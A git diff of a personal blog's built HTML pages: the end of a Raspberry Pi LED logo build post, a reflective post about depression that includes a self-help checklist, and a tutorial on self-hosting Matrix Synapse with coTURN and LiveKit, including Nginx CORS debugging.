    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/loop_of_doom/index.html b/public-onion/posts/loop_of_doom/index.html new file mode 100644 index 0000000..acb3587 --- /dev/null +++ b/public-onion/posts/loop_of_doom/index.html @@ -0,0 +1,634 @@ + + + + + + + +The Loop of Doom | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + The Loop of Doom +

    + +
    +

    It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

    +

    Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

    +

    I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

    +

    I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

    +

    This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

    +

    This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

    +

    Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

    +

    I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

    +

    It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

    +

    I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

    +
      +
    • Going for short walks
    • +
    • Doing small tasks that make me feel good
    • +
    • idk… I don’t remember anything else.
    • +
    +

    ChatGPT also gave me some advice, I’ll copy it here:

    +
    # 14‑Day Reset — Daily Checklist
    +
    +**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________
    +
    +### How to use (60 seconds)
    +
    +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
    +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
    +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
    +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
    +
    +### Define today’s Minimum Reliable Dose (MRD)
    +
    +*(Write clear, tiny actions with a start line → action → done proof.)*
    +
    +* **Study MRD:** ________________________________________________________________
    +* ---
    +* **Work/Code MRD:** ____________________________________________________________
    +* ---
    +
    +---
    +
    +### Daily tracker (14 days)
    +
    +| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
    +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
    +| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +
    +---
    +
    +### Quick reference
    +
    +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
    +
    +**Code — restart protocol:**
    +
    +1. Open repo → `git status` → run tests/linter → open last‑changed file.
    +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
    +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.
    +
    +---
    +
    +### Safety net (Germany)
    +
    +* **Emergency:** 112
    +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
    +  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
    +

    Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

    +

    But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

    +

    Darn. That is a lot. Lot of bad things. Back to back to back.

    +

    Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

    +

    I try to keep ya’ll, the empty list of people, updated.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
    +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX
    +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
    +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp
    +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
    +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
    +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
    +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
    +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA
    +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
    +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
    +=Cuma
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md.asc
    +gpg --verify loop_of_doom.md.asc loop_of_doom.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/matrix_setup.asc b/public-onion/posts/matrix_setup.asc new file mode 100644 index 0000000..4202fbb --- /dev/null +++ b/public-onion/posts/matrix_setup.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qSO0P/2tzWyTdIIsGj1RoTrpTlNgJ +bVGtx3Cvs2aeBkq/3xCsLN8gJwQ6kOUPires79sae9wDsbaCmz7E2sXyRGl/pQol +81OxqRWvwMaZ9rZeOooh1JqCh2e90cSHjUOz3RocaJxpfuEH6mmd7gHrdok21FRa +mCxNFvBAAsxeZdO+4XSpIgVVHAWeIoBYEbacygHZkOAKqWnS6Y9WczE+PRQ8Ru46 +TsNjtSHloRRj90ijtHvv1IWUu6J4oRSntmbcXWBuiAZvSsnBCndroHAqU90nNMME +HSWR7kTGADIwrbkPzcznJnk0gp19f9qGhIIsnDheVHZJdtRbZhFSDAzk6Lw2XnbX +rSLFQadQJCPQhDv/pAfJhNtu+be0R2Rtx+iiw4+TBPK9nsgHgExM28etJON4ZsE/ +cZAVDoj39W9kshcynoyPCkUcqlcvlIpZ/21KmqWIPQAaTOCkPz4nJw1fVhXs4XbA +i8sbnFI2k+jg+qELiDShCmTAqFuCB+Icxi3l7BFL/ot0MzDHZAxG/0UqAE7Zv3i5 +c6EzU+8C6+gnYE3QvMo4egKMAz7S5zd6Vi6aGGKy4xc4HfS083pyDB9A8FSA3nND +kvihzAsOCnzf5IhkUkIU5SD25QWLsmEX//rIkAKrGDvvCBJZsqgwvpYYQ2V2N7Uo +hPqGAFdRLevEweDOG0IU +=EaCd +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/matrix_setup/index.html b/public-onion/posts/matrix_setup/index.html new file mode 100644 index 0000000..9f0cdde --- /dev/null +++ b/public-onion/posts/matrix_setup/index.html @@ -0,0 +1,893 @@ + + + + + + + +Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls. +
    + +
    +
    + Matrix, Signal but distributed +
    Distributed end-to-end encrypted chat platform
    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    + +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    + +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + +
    Access-Control-Allow-Origin cannot contain more than one origin. +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    + +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
